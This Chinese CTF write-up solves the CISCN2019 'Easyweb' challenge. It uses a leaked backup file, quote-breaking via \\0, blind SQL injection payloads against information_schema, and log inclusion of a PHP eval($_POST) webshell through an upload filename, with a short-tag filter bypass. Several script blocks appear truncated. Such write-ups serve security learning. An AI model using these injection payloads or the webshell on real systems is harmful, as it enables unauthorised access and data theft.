[CISCN2019 总决赛 Day2 Web1]Easyweb(源码泄露&盲注&日志包含)
我们打开源码,发现存在个参数id
我们对id进行注入点测试,没啥用,然后我们对目录进行扫描,发现存在一个robots.txt文件,我们访问它
发现其存在*.php.bak
备份文件,其网站存在index.php
、image.php
、user.php
都对其进行访问
经过访问,我们成功下载下来image.php.bak文件
1 | <?php |
然后就是进行代码审计了
源码分析:
- GET方式传入变量id的值,若没有则为1
- GET方式传入变量path的值,若没有则为空
- addslashes() 函数返回在预定义字符之前添加反斜杠的字符串,单引号(’)、双引号(”)、反斜杠(\)
- str_replace()函数将两个变量内的\0、%00、'、’都替换为空
- 将变量$id与$path拼接进SQL语句
本地测试:
1 | <?php |
得到结果
也就是说,\\0
在传入变量$id
的值后,首先被转义为\0
,再经过addslashes()
函数的处理,变量$id="\\0"
,再由str_replace()
函数的替换,最终变为\
。
sql语句变为
1 | select * from images where id='\' or path='{$path}' |
其中\'
变成了字符串包含在两侧的'
单引号中,即变量$id
的值为:\' or path=
之后就可以从{$path}
处拼接SQL语句,但没有查询结果回显,所以尝试盲注,通过猜测数据库名长度,构造Payload以验证猜想:
1 | ?id=\\0&path=or 1=if(length(database())>1,1,-1)%23 |
成功回显,说明猜想是正确的
接下来就是sql盲注了,我们使用python脚本
先爆表
payload
1 | if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),0,1))=1,1,-1)%23 |
1 | import requests |
再爆字段
因为过滤了'
单、"
双引号,所以需要将字符串转换成十六进制:
payload
1 | if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),0,1))=1,1,-1)%23 |
1 | import requests |
爆数据
1 | import requests |
密码就把group_concat(username)改为group_concat(password)
结果为:
账号是admin
密码是d2a6e76d0e6b8bc92784
我们进行登录
进入到新页面后,我们进行文件上传
上传后,页面提示将文件名记录在日志中
我们通过文件名写入一句话木马
1 | <?php @eval($_POST['1']); ?> |
抓包,修改filename
页面提示不能上传php文件,但我们并没有上传php文件,我们猜测可能是一句话木马中的php被过滤了,我们使用短标签
1 | <?= @eval($_POST['1']); ?> |
成功上传,上传路径已经给我们了,然后我们使用蚁剑进行连接
连接成功,得到flag